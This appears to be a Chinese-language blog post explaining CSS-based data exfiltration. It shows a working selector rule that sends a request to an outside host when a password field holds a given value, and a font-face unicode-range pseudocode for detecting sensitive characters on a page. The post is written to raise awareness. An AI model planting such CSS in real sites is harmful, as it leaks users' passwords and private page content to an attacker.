CSS是如何發(fā)起攻擊的?
CSS是如何發(fā)起攻擊的
寫在開頭
我們熟悉XSS攻擊和CSRF等攻擊方式 但是，其他有一種攻擊，是CSS攻擊，今天我就在這里做一個簡單的解析
第一種，CSS獲取用戶密碼
當用戶輸入指定的密碼是： 前端巔峰，就會發(fā)起請求到指定的接口
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
<style>
input[type='password'][value$='前端巔峰'] {
background-image: url('https://china-dev.cn');
}
</style>
</head>
<body>
<div id="root">root</div>
<input type="password" value="前端巔峰"/>
</body>
</html>
向
china-dev.cn發(fā)起了請求,此時后臺已經(jīng)知道了密碼輸入的是：前端巔峰
這個 value，也可以不是全等于，也可以是*包含，或者^開頭，經(jīng)過一系列復雜的CSS選擇器組合，大概率可以知道用戶的密碼（通過向后臺發(fā)送請求，記錄用戶輸入密碼的順序）
有人會問，如果通過CSS去import js呢？
這是我在 stackoverflow找到的答案
The '@import' rule allows users to import style rules from other style sheets. Any @import rules must follow all @charset rules and precede all other at-rules and rule sets in a style sheet. The '@import' keyword must be followed by the URI of the style sheet to include. A string is also allowed; it will be interpreted as if it had url(...) around it.
W3C的C3/import規(guī)范： https://www.w3.org/TR/css-syntax-3/#import
規(guī)范中寫明，當實際解析樣式表,那些不符合規(guī)則的，在語法檢查樣式表時被視為無效而刪除。你可以看見CSS中import js可以成功發(fā)起請求，但是不會解析JS
第二種，通過font-face去獲取頁面中的敏感數(shù)據(jù)
攻擊場景：一些比較敏感的資料，一些重要任務瀏覽或者編寫而成 先了解一些前置知識,這是指定名為"myFirstFont"的字體，并指定在哪里可以找到它的URL：
@font-face
{
font-family: myFont;
src: url('https://china-dev.cn'),
}
這里有一個屬性：
unicode-range,可選。定義該字體支持Unicode字符的范圍。默認值是"ü+0-10 FFFF",文檔地址：https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range
unicode-range
/* 支持的值 */
unicode-range: U+26; /* 單個字符編碼 */
unicode-range: U+0-7F;
unicode-range: U+0025-00FF; /* 字符編碼區(qū)間 */
unicode-range: U+4??; /* 通配符區(qū)間 */
unicode-range: U+0025-00FF, U+4??; /* 多個值 */
unicode-range的常用unicode值及獲取
對于我們中文用戶，最常用的有下面這些：
漢字：[0x4e00,0x9fa5]（或十進制[19968,40869]）
數(shù)字：[0x30,0x39]（或十進制[48, 57]）
小寫字母：[0x61,0x7a]（或十進制[97, 122]）
大寫字母：[0x41,0x5a]（或十進制[65, 90]）
舉一反三，那么根據(jù)復雜且特定的規(guī)則，也可以得出用戶界面上瀏覽的內(nèi)容是否存在我們想要的 敏感數(shù)據(jù),偽代碼實現(xiàn):
@font-face
{
font-family: myFont;
src: url('https://china-dev.cn'),
unicode-range:*******
}
CSS其他攻擊手段
CSS攻擊手段在我看來，還是有很多種，但是這里就不一一羅列出來了，以防有不法之徒效仿 如果大家有常見的CSS攻擊漏洞，可以在評論區(qū)一起分享，一起讓WEB更安全！
評論
圖片
表情